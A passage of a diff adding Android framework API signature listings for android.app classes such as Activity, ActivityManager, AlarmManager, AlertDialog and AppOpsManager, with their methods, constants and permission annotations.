+    method public void onProvideAssistContent(android.app.assist.AssistContent);
+    method public void onProvideAssistData(android.os.Bundle);
+    method public android.net.Uri onProvideReferrer();
+    method public void onRequestPermissionsResult(int, @NonNull String[], @NonNull int[]);
+    method @CallSuper protected void onRestart();
+    method protected void onRestoreInstanceState(@NonNull android.os.Bundle);
+    method public void onRestoreInstanceState(@Nullable android.os.Bundle, @Nullable android.os.PersistableBundle);
+    method @CallSuper protected void onResume();
+    method public Object onRetainNonConfigurationInstance();
+    method protected void onSaveInstanceState(@NonNull android.os.Bundle);
+    method public void onSaveInstanceState(@NonNull android.os.Bundle, @NonNull android.os.PersistableBundle);
+    method public boolean onSearchRequested(@Nullable android.view.SearchEvent);
+    method public boolean onSearchRequested();
+    method @CallSuper protected void onStart();
+    method @Deprecated public void onStateNotSaved();
+    method @CallSuper protected void onStop();
+    method protected void onTitleChanged(CharSequence, int);
+    method public void onTopResumedActivityChanged(boolean);
+    method public boolean onTouchEvent(android.view.MotionEvent);
+    method public boolean onTrackballEvent(android.view.MotionEvent);
+    method public void onTrimMemory(int);
+    method public void onUserInteraction();
+    method protected void onUserLeaveHint();
+    method @Deprecated @CallSuper public void onVisibleBehindCanceled();
+    method public void onWindowAttributesChanged(android.view.WindowManager.LayoutParams);
+    method public void onWindowFocusChanged(boolean);
+    method @Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback);
+    method @Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback, int);
+    method public void openContextMenu(android.view.View);
+    method public void openOptionsMenu();
+    method public void overridePendingTransition(int, int);
+    method public void postponeEnterTransition();
+    method public void recreate();
+    method public void registerActivityLifecycleCallbacks(@NonNull android.app.Application.ActivityLifecycleCallbacks);
+    method public void registerForContextMenu(android.view.View);
+    method public boolean releaseInstance();
+    method @Deprecated public final void removeDialog(int);
+    method public void reportFullyDrawn();
+    method public android.view.DragAndDropPermissions requestDragAndDropPermissions(android.view.DragEvent);
+    method public final void requestPermissions(@NonNull String[], int);
+    method public final void requestShowKeyboardShortcuts();
+    method @Deprecated public boolean requestVisibleBehind(boolean);
+    method public final boolean requestWindowFeature(int);
+    method public final void runOnUiThread(Runnable);
+    method public void setActionBar(@Nullable android.widget.Toolbar);
+    method public void setContentTransitionManager(android.transition.TransitionManager);
+    method public void setContentView(@LayoutRes int);
+    method public void setContentView(android.view.View);
+    method public void setContentView(android.view.View, android.view.ViewGroup.LayoutParams);
+    method public final void setDefaultKeyMode(int);
+    method public void setEnterSharedElementCallback(android.app.SharedElementCallback);
+    method public void setExitSharedElementCallback(android.app.SharedElementCallback);
+    method public final void setFeatureDrawable(int, android.graphics.drawable.Drawable);
+    method public final void setFeatureDrawableAlpha(int, int);
+    method public final void setFeatureDrawableResource(int, @DrawableRes int);
+    method public final void setFeatureDrawableUri(int, android.net.Uri);
+    method public void setFinishOnTouchOutside(boolean);
+    method public void setImmersive(boolean);
+    method public void setInheritShowWhenLocked(boolean);
+    method public void setIntent(android.content.Intent);
+    method public void setLocusContext(@Nullable android.content.LocusId, @Nullable android.os.Bundle);
+    method public final void setMediaController(android.media.session.MediaController);
+    method public void setPictureInPictureParams(@NonNull android.app.PictureInPictureParams);
+    method @Deprecated public final void setProgress(int);
+    method @Deprecated public final void setProgressBarIndeterminate(boolean);
+    method @Deprecated public final void setProgressBarIndeterminateVisibility(boolean);
+    method @Deprecated public final void setProgressBarVisibility(boolean);
+    method public void setRequestedOrientation(int);
+    method public final void setResult(int);
+    method public final void setResult(int, android.content.Intent);
+    method @Deprecated public final void setSecondaryProgress(int);
+    method public void setShowWhenLocked(boolean);
+    method public void setTaskDescription(android.app.ActivityManager.TaskDescription);
+    method public void setTitle(CharSequence);
+    method public void setTitle(int);
+    method @Deprecated public void setTitleColor(int);
+    method public boolean setTranslucent(boolean);
+    method public void setTurnScreenOn(boolean);
+    method public void setVisible(boolean);
+    method public final void setVolumeControlStream(int);
+    method public void setVrModeEnabled(boolean, @NonNull android.content.ComponentName) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public boolean shouldShowRequestPermissionRationale(@NonNull String);
+    method public boolean shouldUpRecreateTask(android.content.Intent);
+    method public boolean showAssist(android.os.Bundle);
+    method @Deprecated public final void showDialog(int);
+    method @Deprecated public final boolean showDialog(int, android.os.Bundle);
+    method public void showLockTaskEscapeMessage();
+    method @Nullable public android.view.ActionMode startActionMode(android.view.ActionMode.Callback);
+    method @Nullable public android.view.ActionMode startActionMode(android.view.ActionMode.Callback, int);
+    method public void startActivityForResult(@RequiresPermission android.content.Intent, int);
+    method public void startActivityForResult(@RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle);
+    method @Deprecated public void startActivityFromChild(@NonNull android.app.Activity, @RequiresPermission android.content.Intent, int);
+    method @Deprecated public void startActivityFromChild(@NonNull android.app.Activity, @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle);
+    method @Deprecated public void startActivityFromFragment(@NonNull android.app.Fragment, @RequiresPermission android.content.Intent, int);
+    method @Deprecated public void startActivityFromFragment(@NonNull android.app.Fragment, @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle);
+    method public boolean startActivityIfNeeded(@NonNull @RequiresPermission android.content.Intent, int);
+    method public boolean startActivityIfNeeded(@NonNull @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle);
+    method public void startIntentSenderForResult(android.content.IntentSender, int, @Nullable android.content.Intent, int, int, int) throws android.content.IntentSender.SendIntentException;
+    method public void startIntentSenderForResult(android.content.IntentSender, int, @Nullable android.content.Intent, int, int, int, @Nullable android.os.Bundle) throws android.content.IntentSender.SendIntentException;
+    method @Deprecated public void startIntentSenderFromChild(android.app.Activity, android.content.IntentSender, int, android.content.Intent, int, int, int) throws android.content.IntentSender.SendIntentException;
+    method @Deprecated public void startIntentSenderFromChild(android.app.Activity, android.content.IntentSender, int, android.content.Intent, int, int, int, @Nullable android.os.Bundle) throws android.content.IntentSender.SendIntentException;
+    method public void startLocalVoiceInteraction(android.os.Bundle);
+    method public void startLockTask();
+    method @Deprecated public void startManagingCursor(android.database.Cursor);
+    method public boolean startNextMatchingActivity(@NonNull @RequiresPermission android.content.Intent);
+    method public boolean startNextMatchingActivity(@NonNull @RequiresPermission android.content.Intent, @Nullable android.os.Bundle);
+    method public void startPostponedEnterTransition();
+    method public void startSearch(@Nullable String, boolean, @Nullable android.os.Bundle, boolean);
+    method public void stopLocalVoiceInteraction();
+    method public void stopLockTask();
+    method @Deprecated public void stopManagingCursor(android.database.Cursor);
+    method public void takeKeyEvents(boolean);
+    method public void triggerSearch(String, @Nullable android.os.Bundle);
+    method public void unregisterActivityLifecycleCallbacks(@NonNull android.app.Application.ActivityLifecycleCallbacks);
+    method public void unregisterForContextMenu(android.view.View);
+    field public static final int DEFAULT_KEYS_DIALER = 1; // 0x1
+    field public static final int DEFAULT_KEYS_DISABLE = 0; // 0x0
+    field public static final int DEFAULT_KEYS_SEARCH_GLOBAL = 4; // 0x4
+    field public static final int DEFAULT_KEYS_SEARCH_LOCAL = 3; // 0x3
+    field public static final int DEFAULT_KEYS_SHORTCUT = 2; // 0x2
+    field protected static final int[] FOCUSED_STATE_SET;
+    field public static final int RESULT_CANCELED = 0; // 0x0
+    field public static final int RESULT_FIRST_USER = 1; // 0x1
+    field public static final int RESULT_OK = -1; // 0xffffffff
+  }
+
+  @Deprecated public class ActivityGroup extends android.app.Activity {
+    ctor @Deprecated public ActivityGroup();
+    ctor @Deprecated public ActivityGroup(boolean);
+    method @Deprecated public android.app.Activity getCurrentActivity();
+    method @Deprecated public final android.app.LocalActivityManager getLocalActivityManager();
+  }
+
+  public class ActivityManager {
+    method public int addAppTask(@NonNull android.app.Activity, @NonNull android.content.Intent, @Nullable android.app.ActivityManager.TaskDescription, @NonNull android.graphics.Bitmap);
+    method public void appNotResponding(@NonNull String);
+    method public boolean clearApplicationUserData();
+    method public void clearWatchHeapLimit();
+    method @RequiresPermission(android.Manifest.permission.DUMP) public void dumpPackageState(java.io.FileDescriptor, String);
+    method public android.util.Size getAppTaskThumbnailSize();
+    method public java.util.List<android.app.ActivityManager.AppTask> getAppTasks();
+    method public android.content.pm.ConfigurationInfo getDeviceConfigurationInfo();
+    method @NonNull public java.util.List<android.app.ApplicationExitInfo> getHistoricalProcessExitReasons(@Nullable String, @IntRange(from=0) int, @IntRange(from=0) int);
+    method public int getLargeMemoryClass();
+    method public int getLauncherLargeIconDensity();
+    method public int getLauncherLargeIconSize();
+    method public int getLockTaskModeState();
+    method public int getMemoryClass();
+    method public void getMemoryInfo(android.app.ActivityManager.MemoryInfo);
+    method public static void getMyMemoryState(android.app.ActivityManager.RunningAppProcessInfo);
+    method public android.os.Debug.MemoryInfo[] getProcessMemoryInfo(int[]);
+    method public java.util.List<android.app.ActivityManager.ProcessErrorStateInfo> getProcessesInErrorState();
+    method @Deprecated public java.util.List<android.app.ActivityManager.RecentTaskInfo> getRecentTasks(int, int) throws java.lang.SecurityException;
+    method public java.util.List<android.app.ActivityManager.RunningAppProcessInfo> getRunningAppProcesses();
+    method public android.app.PendingIntent getRunningServiceControlPanel(android.content.ComponentName) throws java.lang.SecurityException;
+    method @Deprecated public java.util.List<android.app.ActivityManager.RunningServiceInfo> getRunningServices(int) throws java.lang.SecurityException;
+    method @Deprecated public java.util.List<android.app.ActivityManager.RunningTaskInfo> getRunningTasks(int) throws java.lang.SecurityException;
+    method public boolean isActivityStartAllowedOnDisplay(@NonNull android.content.Context, int, @NonNull android.content.Intent);
+    method public boolean isBackgroundRestricted();
+    method @Deprecated public boolean isInLockTaskMode();
+    method public static boolean isLowMemoryKillReportSupported();
+    method public boolean isLowRamDevice();
+    method @Deprecated public static boolean isRunningInTestHarness();
+    method public static boolean isRunningInUserTestHarness();
+    method public static boolean isUserAMonkey();
+    method @RequiresPermission(android.Manifest.permission.KILL_BACKGROUND_PROCESSES) public void killBackgroundProcesses(String);
+    method @RequiresPermission(android.Manifest.permission.REORDER_TASKS) public void moveTaskToFront(int, int);
+    method @RequiresPermission(android.Manifest.permission.REORDER_TASKS) public void moveTaskToFront(int, int, android.os.Bundle);
+    method @Deprecated public void restartPackage(String);
+    method public void setProcessStateSummary(@Nullable byte[]);
+    method public static void setVrThread(int);
+    method public void setWatchHeapLimit(long);
+    field public static final String ACTION_REPORT_HEAP_LIMIT = "android.app.action.REPORT_HEAP_LIMIT";
+    field public static final int LOCK_TASK_MODE_LOCKED = 1; // 0x1
+    field public static final int LOCK_TASK_MODE_NONE = 0; // 0x0
+    field public static final int LOCK_TASK_MODE_PINNED = 2; // 0x2
+    field public static final String META_HOME_ALTERNATE = "android.app.home.alternate";
+    field public static final int MOVE_TASK_NO_USER_ACTION = 2; // 0x2
+    field public static final int MOVE_TASK_WITH_HOME = 1; // 0x1
+    field public static final int RECENT_IGNORE_UNAVAILABLE = 2; // 0x2
+    field public static final int RECENT_WITH_EXCLUDED = 1; // 0x1
+  }
+
+  public static class ActivityManager.AppTask {
+    method public void finishAndRemoveTask();
+    method public android.app.ActivityManager.RecentTaskInfo getTaskInfo();
+    method public void moveToFront();
+    method public void setExcludeFromRecents(boolean);
+    method public void startActivity(android.content.Context, android.content.Intent, android.os.Bundle);
+  }
+
+  public static class ActivityManager.MemoryInfo implements android.os.Parcelable {
+    ctor public ActivityManager.MemoryInfo();
+    method public int describeContents();
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ActivityManager.MemoryInfo> CREATOR;
+    field public long availMem;
+    field public boolean lowMemory;
+    field public long threshold;
+    field public long totalMem;
+  }
+
+  public static class ActivityManager.ProcessErrorStateInfo implements android.os.Parcelable {
+    ctor public ActivityManager.ProcessErrorStateInfo();
+    method public int describeContents();
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CRASHED = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ActivityManager.ProcessErrorStateInfo> CREATOR;
+    field public static final int NOT_RESPONDING = 2; // 0x2
+    field public static final int NO_ERROR = 0; // 0x0
+    field public int condition;
+    field public byte[] crashData;
+    field public String longMsg;
+    field public int pid;
+    field public String processName;
+    field public String shortMsg;
+    field public String stackTrace;
+    field public String tag;
+    field public int uid;
+  }
+
+  public static class ActivityManager.RecentTaskInfo extends android.app.TaskInfo implements android.os.Parcelable {
+    ctor public ActivityManager.RecentTaskInfo();
+    method public int describeContents();
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ActivityManager.RecentTaskInfo> CREATOR;
+    field @Deprecated public int affiliatedTaskId;
+    field @Deprecated public CharSequence description;
+    field @Deprecated public int id;
+    field @Deprecated public int persistentId;
+  }
+
+  public static class ActivityManager.RunningAppProcessInfo implements android.os.Parcelable {
+    ctor public ActivityManager.RunningAppProcessInfo();
+    ctor public ActivityManager.RunningAppProcessInfo(String, int, String[]);
+    method public int describeContents();
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ActivityManager.RunningAppProcessInfo> CREATOR;
+    field @Deprecated public static final int IMPORTANCE_BACKGROUND = 400; // 0x190
+    field public static final int IMPORTANCE_CACHED = 400; // 0x190
+    field public static final int IMPORTANCE_CANT_SAVE_STATE = 350; // 0x15e
+    field @Deprecated public static final int IMPORTANCE_EMPTY = 500; // 0x1f4
+    field public static final int IMPORTANCE_FOREGROUND = 100; // 0x64
+    field public static final int IMPORTANCE_FOREGROUND_SERVICE = 125; // 0x7d
+    field public static final int IMPORTANCE_GONE = 1000; // 0x3e8
+    field public static final int IMPORTANCE_PERCEPTIBLE = 230; // 0xe6
+    field public static final int IMPORTANCE_PERCEPTIBLE_PRE_26 = 130; // 0x82
+    field public static final int IMPORTANCE_SERVICE = 300; // 0x12c
+    field public static final int IMPORTANCE_TOP_SLEEPING = 325; // 0x145
+    field @Deprecated public static final int IMPORTANCE_TOP_SLEEPING_PRE_28 = 150; // 0x96
+    field public static final int IMPORTANCE_VISIBLE = 200; // 0xc8
+    field public static final int REASON_PROVIDER_IN_USE = 1; // 0x1
+    field public static final int REASON_SERVICE_IN_USE = 2; // 0x2
+    field public static final int REASON_UNKNOWN = 0; // 0x0
+    field public int importance;
+    field public int importanceReasonCode;
+    field public android.content.ComponentName importanceReasonComponent;
+    field public int importanceReasonPid;
+    field public int lastTrimLevel;
+    field public int lru;
+    field public int pid;
+    field public String[] pkgList;
+    field public String processName;
+    field public int uid;
+  }
+
+  public static class ActivityManager.RunningServiceInfo implements android.os.Parcelable {
+    ctor public ActivityManager.RunningServiceInfo();
+    method public int describeContents();
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ActivityManager.RunningServiceInfo> CREATOR;
+    field public static final int FLAG_FOREGROUND = 2; // 0x2
+    field public static final int FLAG_PERSISTENT_PROCESS = 8; // 0x8
+    field public static final int FLAG_STARTED = 1; // 0x1
+    field public static final int FLAG_SYSTEM_PROCESS = 4; // 0x4
+    field public long activeSince;
+    field public int clientCount;
+    field public int clientLabel;
+    field public String clientPackage;
+    field public int crashCount;
+    field public int flags;
+    field public boolean foreground;
+    field public long lastActivityTime;
+    field public int pid;
+    field public String process;
+    field public long restarting;
+    field public android.content.ComponentName service;
+    field public boolean started;
+    field public int uid;
+  }
+
+  public static class ActivityManager.RunningTaskInfo extends android.app.TaskInfo implements android.os.Parcelable {
+    ctor public ActivityManager.RunningTaskInfo();
+    method public int describeContents();
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ActivityManager.RunningTaskInfo> CREATOR;
+    field @Deprecated public CharSequence description;
+    field @Deprecated public int id;
+    field @Deprecated public int numRunning;
+    field @Deprecated public android.graphics.Bitmap thumbnail;
+  }
+
+  public static class ActivityManager.TaskDescription implements android.os.Parcelable {
+    ctor public ActivityManager.TaskDescription(String, @DrawableRes int, int);
+    ctor public ActivityManager.TaskDescription(String, @DrawableRes int);
+    ctor public ActivityManager.TaskDescription(String);
+    ctor public ActivityManager.TaskDescription();
+    ctor @Deprecated public ActivityManager.TaskDescription(String, android.graphics.Bitmap, int);
+    ctor @Deprecated public ActivityManager.TaskDescription(String, android.graphics.Bitmap);
+    ctor public ActivityManager.TaskDescription(android.app.ActivityManager.TaskDescription);
+    method public int describeContents();
+    method @Deprecated public android.graphics.Bitmap getIcon();
+    method public String getLabel();
+    method public int getPrimaryColor();
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.ActivityManager.TaskDescription> CREATOR;
+  }
+
+  public class ActivityOptions {
+    method @Nullable public android.graphics.Rect getLaunchBounds();
+    method public int getLaunchDisplayId();
+    method public boolean getLockTaskMode();
+    method public static android.app.ActivityOptions makeBasic();
+    method public static android.app.ActivityOptions makeClipRevealAnimation(android.view.View, int, int, int, int);
+    method public static android.app.ActivityOptions makeCustomAnimation(android.content.Context, int, int);
+    method public static android.app.ActivityOptions makeScaleUpAnimation(android.view.View, int, int, int, int);
+    method public static android.app.ActivityOptions makeSceneTransitionAnimation(android.app.Activity, android.view.View, String);
+    method @java.lang.SafeVarargs public static android.app.ActivityOptions makeSceneTransitionAnimation(android.app.Activity, android.util.Pair<android.view.View,java.lang.String>...);
+    method public static android.app.ActivityOptions makeTaskLaunchBehind();
+    method public static android.app.ActivityOptions makeThumbnailScaleUpAnimation(android.view.View, android.graphics.Bitmap, int, int);
+    method public void requestUsageTimeReport(android.app.PendingIntent);
+    method public android.app.ActivityOptions setAppVerificationBundle(android.os.Bundle);
+    method public android.app.ActivityOptions setLaunchBounds(@Nullable android.graphics.Rect);
+    method public android.app.ActivityOptions setLaunchDisplayId(int);
+    method public android.app.ActivityOptions setLockTaskEnabled(boolean);
+    method public android.os.Bundle toBundle();
+    method public void update(android.app.ActivityOptions);
+    field public static final String EXTRA_USAGE_TIME_REPORT = "android.activity.usage_time";
+    field public static final String EXTRA_USAGE_TIME_REPORT_PACKAGES = "android.usage_time_packages";
+  }
+
+  public class AlarmManager {
+    method public boolean canScheduleExactAlarms();
+    method public void cancel(android.app.PendingIntent);
+    method public void cancel(android.app.AlarmManager.OnAlarmListener);
+    method public android.app.AlarmManager.AlarmClockInfo getNextAlarmClock();
+    method public void set(int, long, android.app.PendingIntent);
+    method public void set(int, long, String, android.app.AlarmManager.OnAlarmListener, android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.SCHEDULE_EXACT_ALARM) public void setAlarmClock(android.app.AlarmManager.AlarmClockInfo, android.app.PendingIntent);
+    method public void setAndAllowWhileIdle(int, long, android.app.PendingIntent);
+    method @RequiresPermission(value=android.Manifest.permission.SCHEDULE_EXACT_ALARM, conditional=true) public void setExact(int, long, android.app.PendingIntent);
+    method @RequiresPermission(value=android.Manifest.permission.SCHEDULE_EXACT_ALARM, conditional=true) public void setExact(int, long, String, android.app.AlarmManager.OnAlarmListener, android.os.Handler);
+    method @RequiresPermission(value=android.Manifest.permission.SCHEDULE_EXACT_ALARM, conditional=true) public void setExactAndAllowWhileIdle(int, long, android.app.PendingIntent);
+    method public void setInexactRepeating(int, long, long, android.app.PendingIntent);
+    method public void setRepeating(int, long, long, android.app.PendingIntent);
+    method @RequiresPermission(android.Manifest.permission.SET_TIME) public void setTime(long);
+    method @RequiresPermission(android.Manifest.permission.SET_TIME_ZONE) public void setTimeZone(String);
+    method public void setWindow(int, long, long, android.app.PendingIntent);
+    method public void setWindow(int, long, long, String, android.app.AlarmManager.OnAlarmListener, android.os.Handler);
+    field public static final String ACTION_NEXT_ALARM_CLOCK_CHANGED = "android.app.action.NEXT_ALARM_CLOCK_CHANGED";
+    field public static final String ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED = "android.app.action.SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED";
+    field public static final int ELAPSED_REALTIME = 3; // 0x3
+    field public static final int ELAPSED_REALTIME_WAKEUP = 2; // 0x2
+    field public static final long INTERVAL_DAY = 86400000L; // 0x5265c00L
+    field public static final long INTERVAL_FIFTEEN_MINUTES = 900000L; // 0xdbba0L
+    field public static final long INTERVAL_HALF_DAY = 43200000L; // 0x2932e00L
+    field public static final long INTERVAL_HALF_HOUR = 1800000L; // 0x1b7740L
+    field public static final long INTERVAL_HOUR = 3600000L; // 0x36ee80L
+    field public static final int RTC = 1; // 0x1
+    field public static final int RTC_WAKEUP = 0; // 0x0
+  }
+
+  public static final class AlarmManager.AlarmClockInfo implements android.os.Parcelable {
+    ctor public AlarmManager.AlarmClockInfo(long, android.app.PendingIntent);
+    method public int describeContents();
+    method public android.app.PendingIntent getShowIntent();
+    method public long getTriggerTime();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.AlarmManager.AlarmClockInfo> CREATOR;
+  }
+
+  public static interface AlarmManager.OnAlarmListener {
+    method public void onAlarm();
+  }
+
+  public class AlertDialog extends android.app.Dialog implements android.content.DialogInterface {
+    ctor protected AlertDialog(android.content.Context);
+    ctor protected AlertDialog(android.content.Context, boolean, android.content.DialogInterface.OnCancelListener);
+    ctor protected AlertDialog(android.content.Context, @StyleRes int);
+    method public android.widget.Button getButton(int);
+    method public android.widget.ListView getListView();
+    method public void setButton(int, CharSequence, android.os.Message);
+    method public void setButton(int, CharSequence, android.content.DialogInterface.OnClickListener);
+    method @Deprecated public void setButton(CharSequence, android.os.Message);
+    method @Deprecated public void setButton(CharSequence, android.content.DialogInterface.OnClickListener);
+    method @Deprecated public void setButton2(CharSequence, android.os.Message);
+    method @Deprecated public void setButton2(CharSequence, android.content.DialogInterface.OnClickListener);
+    method @Deprecated public void setButton3(CharSequence, android.os.Message);
+    method @Deprecated public void setButton3(CharSequence, android.content.DialogInterface.OnClickListener);
+    method public void setCustomTitle(android.view.View);
+    method public void setIcon(@DrawableRes int);
+    method public void setIcon(android.graphics.drawable.Drawable);
+    method public void setIconAttribute(@AttrRes int);
+    method public void setInverseBackgroundForced(boolean);
+    method public void setMessage(CharSequence);
+    method public void setView(android.view.View);
+    method public void setView(android.view.View, int, int, int, int);
+    field @Deprecated public static final int THEME_DEVICE_DEFAULT_DARK = 4; // 0x4
+    field @Deprecated public static final int THEME_DEVICE_DEFAULT_LIGHT = 5; // 0x5
+    field @Deprecated public static final int THEME_HOLO_DARK = 2; // 0x2
+    field @Deprecated public static final int THEME_HOLO_LIGHT = 3; // 0x3
+    field @Deprecated public static final int THEME_TRADITIONAL = 1; // 0x1
+  }
+
+  public static class AlertDialog.Builder {
+    ctor public AlertDialog.Builder(android.content.Context);
+    ctor public AlertDialog.Builder(android.content.Context, int);
+    method public android.app.AlertDialog create();
+    method public android.content.Context getContext();
+    method public android.app.AlertDialog.Builder setAdapter(android.widget.ListAdapter, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setCancelable(boolean);
+    method public android.app.AlertDialog.Builder setCursor(android.database.Cursor, android.content.DialogInterface.OnClickListener, String);
+    method public android.app.AlertDialog.Builder setCustomTitle(android.view.View);
+    method public android.app.AlertDialog.Builder setIcon(@DrawableRes int);
+    method public android.app.AlertDialog.Builder setIcon(android.graphics.drawable.Drawable);
+    method public android.app.AlertDialog.Builder setIconAttribute(@AttrRes int);
+    method @Deprecated public android.app.AlertDialog.Builder setInverseBackgroundForced(boolean);
+    method public android.app.AlertDialog.Builder setItems(@ArrayRes int, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setItems(CharSequence[], android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setMessage(@StringRes int);
+    method public android.app.AlertDialog.Builder setMessage(CharSequence);
+    method public android.app.AlertDialog.Builder setMultiChoiceItems(@ArrayRes int, boolean[], android.content.DialogInterface.OnMultiChoiceClickListener);
+    method public android.app.AlertDialog.Builder setMultiChoiceItems(CharSequence[], boolean[], android.content.DialogInterface.OnMultiChoiceClickListener);
+    method public android.app.AlertDialog.Builder setMultiChoiceItems(android.database.Cursor, String, String, android.content.DialogInterface.OnMultiChoiceClickListener);
+    method public android.app.AlertDialog.Builder setNegativeButton(@StringRes int, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setNegativeButton(CharSequence, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setNeutralButton(@StringRes int, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setNeutralButton(CharSequence, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setOnCancelListener(android.content.DialogInterface.OnCancelListener);
+    method public android.app.AlertDialog.Builder setOnDismissListener(android.content.DialogInterface.OnDismissListener);
+    method public android.app.AlertDialog.Builder setOnItemSelectedListener(android.widget.AdapterView.OnItemSelectedListener);
+    method public android.app.AlertDialog.Builder setOnKeyListener(android.content.DialogInterface.OnKeyListener);
+    method public android.app.AlertDialog.Builder setPositiveButton(@StringRes int, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setPositiveButton(CharSequence, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setSingleChoiceItems(@ArrayRes int, int, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setSingleChoiceItems(android.database.Cursor, int, String, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setSingleChoiceItems(CharSequence[], int, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setSingleChoiceItems(android.widget.ListAdapter, int, android.content.DialogInterface.OnClickListener);
+    method public android.app.AlertDialog.Builder setTitle(@StringRes int);
+    method public android.app.AlertDialog.Builder setTitle(CharSequence);
+    method public android.app.AlertDialog.Builder setView(int);
+    method public android.app.AlertDialog.Builder setView(android.view.View);
+    method public android.app.AlertDialog show();
+  }
+
+  @Deprecated public class AliasActivity extends android.app.Activity {
+    ctor @Deprecated public AliasActivity();
+  }
+
+  public class AppComponentFactory {
+    ctor public AppComponentFactory();
+    method @NonNull public android.app.Activity instantiateActivity(@NonNull ClassLoader, @NonNull String, @Nullable android.content.Intent) throws java.lang.ClassNotFoundException, java.lang.IllegalAccessException, java.lang.InstantiationException;
+    method @NonNull public android.app.Application instantiateApplication(@NonNull ClassLoader, @NonNull String) throws java.lang.ClassNotFoundException, java.lang.IllegalAccessException, java.lang.InstantiationException;
+    method @NonNull public ClassLoader instantiateClassLoader(@NonNull ClassLoader, @NonNull android.content.pm.ApplicationInfo);
+    method @NonNull public android.content.ContentProvider instantiateProvider(@NonNull ClassLoader, @NonNull String) throws java.lang.ClassNotFoundException, java.lang.IllegalAccessException, java.lang.InstantiationException;
+    method @NonNull public android.content.BroadcastReceiver instantiateReceiver(@NonNull ClassLoader, @NonNull String, @Nullable android.content.Intent) throws java.lang.ClassNotFoundException, java.lang.IllegalAccessException, java.lang.InstantiationException;
+    method @NonNull public android.app.Service instantiateService(@NonNull ClassLoader, @NonNull String, @Nullable android.content.Intent) throws java.lang.ClassNotFoundException, java.lang.IllegalAccessException, java.lang.InstantiationException;
+  }
+
+  public class AppOpsManager {
+    method @Deprecated public int checkOp(@NonNull String, int, @NonNull String);
+    method @Deprecated public int checkOpNoThrow(@NonNull String, int, @NonNull String);
+    method @Deprecated public void checkPackage(int, @NonNull String);
+    method @Deprecated public void finishOp(@NonNull String, int, @NonNull String);
+    method public void finishOp(@NonNull String, int, @NonNull String, @Nullable String);
+    method public void finishProxyOp(@NonNull String, int, @NonNull String, @Nullable String);
+    method public boolean isOpActive(@NonNull String, int, @NonNull String);
+    method @Deprecated public int noteOp(@NonNull String, int, @NonNull String);
+    method public int noteOp(@NonNull String, int, @Nullable String, @Nullable String, @Nullable String);
+    method @Deprecated public int noteOpNoThrow(@NonNull String, int, @NonNull String);
+    method public int noteOpNoThrow(@NonNull String, int, @NonNull String, @Nullable String, @Nullable String);
+    method @Deprecated public int noteProxyOp(@NonNull String, @NonNull String);
+    method public int noteProxyOp(@NonNull String, @Nullable String, int, @Nullable String, @Nullable String);
+    method @Deprecated public int noteProxyOpNoThrow(@NonNull String, @NonNull String);
+    method @Deprecated public int noteProxyOpNoThrow(@NonNull String, @Nullable String, int);
+    method public int noteProxyOpNoThrow(@NonNull String, @Nullable String, int, @Nullable String, @Nullable String);
+    method @Nullable public static String permissionToOp(@NonNull String);
+    method public void setOnOpNotedCallback(@Nullable java.util.concurrent.Executor, @Nullable android.app.AppOpsManager.OnOpNotedCallback);
+    method @Deprecated public int startOp(@NonNull String, int, @NonNull String);
+    method public int startOp(@NonNull String, int, @Nullable String, @Nullable String, @Nullable String);
+    method @Deprecated public int startOpNoThrow(@NonNull String, int, @NonNull String);
+    method public int startOpNoThrow(@NonNull String, int, @NonNull String, @NonNull String, @Nullable String);
+    method public int startProxyOp(@NonNull String, int, @NonNull String, @Nullable String, @Nullable String);
+    method public int startProxyOpNoThrow(@NonNull String, int, @NonNull String, @Nullable String, @Nullable String);
+    method public void startWatchingActive(@NonNull String[], @NonNull java.util.concurrent.Executor, @NonNull android.app.AppOpsManager.OnOpActiveChangedListener);
+    method public void startWatchingMode(@NonNull String, @Nullable String, @NonNull android.app.AppOpsManager.OnOpChangedListener);
+    method public void startWatchingMode(@NonNull String, @Nullable String, int, @NonNull android.app.AppOpsManager.OnOpChangedListener);
+    method public void stopWatchingActive(@NonNull android.app.AppOpsManager.OnOpActiveChangedListener);
